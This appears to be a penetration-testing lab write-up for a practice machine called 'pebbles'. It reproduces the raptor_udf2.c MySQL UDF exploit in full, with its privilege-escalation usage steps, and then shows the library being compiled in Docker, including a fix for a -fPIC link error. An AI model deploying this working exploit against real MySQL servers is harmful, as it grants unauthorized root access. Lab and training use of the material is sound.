Malicious Shared Object Library
/*
* $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
*
* raptor_udf2.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!), slightly modified to work
* with newer versions of the open-source database. Tested on MySQL 4.1.14.
*
* See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
*
* Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
* for the security vulnerabilities in the handling of User Defined Functions
* (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
* details, please refer to:
*
* http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
* http://www.wisec.it/vulns.php?page=4
* http://www.wisec.it/vulns.php?page=5
* http://www.wisec.it/vulns.php?page=6
*
* "UDFs should have at least one symbol defined in addition to the xxx symbol
* that corresponds to the main xxx() function. These auxiliary symbols
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
* xxx_add() functions". -- User Defined Functions Security Precautions
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
*
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
// milw0rm.com [2006-02-20]It uses the do_system function to make syscall
I will be using this C program to generate a malicious shared object library to load to the target MySQL instance that is running with privileges of the root account
www-data@pebbles:/$ gcc
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
www-data@pebbles:/$ cc
The program 'cc' can be found in the following packages:
* gcc
* clang
* tcc
Ask your administrator to install one of themCompiler is not available locally. Opting out to remote compilation.
Docker Exploit Development
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/pebbles]
└─$ docker run -it --entrypoint "/bin/bash" -v ./:/root/host --name pebbles ubuntu:16.04
root@ed4ffa517958:/# cd root; apt update -y; apt install git make nano gcc gcc-multilib -y
root@ed4ffa517958:~# ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.Setting up the environment
Position-Independent Code
root@ed4ffa517958:~# gcc -g -c raptor_udf2.c
root@ed4ffa517958:~# gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
/usr/bin/ld: raptor_udf2.o: relocation R_X86_64_PC32 against undefined symbol `system@@GLIBC_2.2.5' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Bad value
collect2: error: ld returned 1 exit statusAttempting to compile the exploit fails because the raptor_udf.o file from the first command was not compiled with Position-Independent Code (PIC), which is required for shared libraries.
Therefore, in order to fix the issue, the object file must be compiled with the -fPIC flag
root@ed4ffa517958:~# gcc -g -fPIC -c raptor_udf2.c -o raptor_udf2.o
root@ed4ffa517958:~# gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcRecompiling successful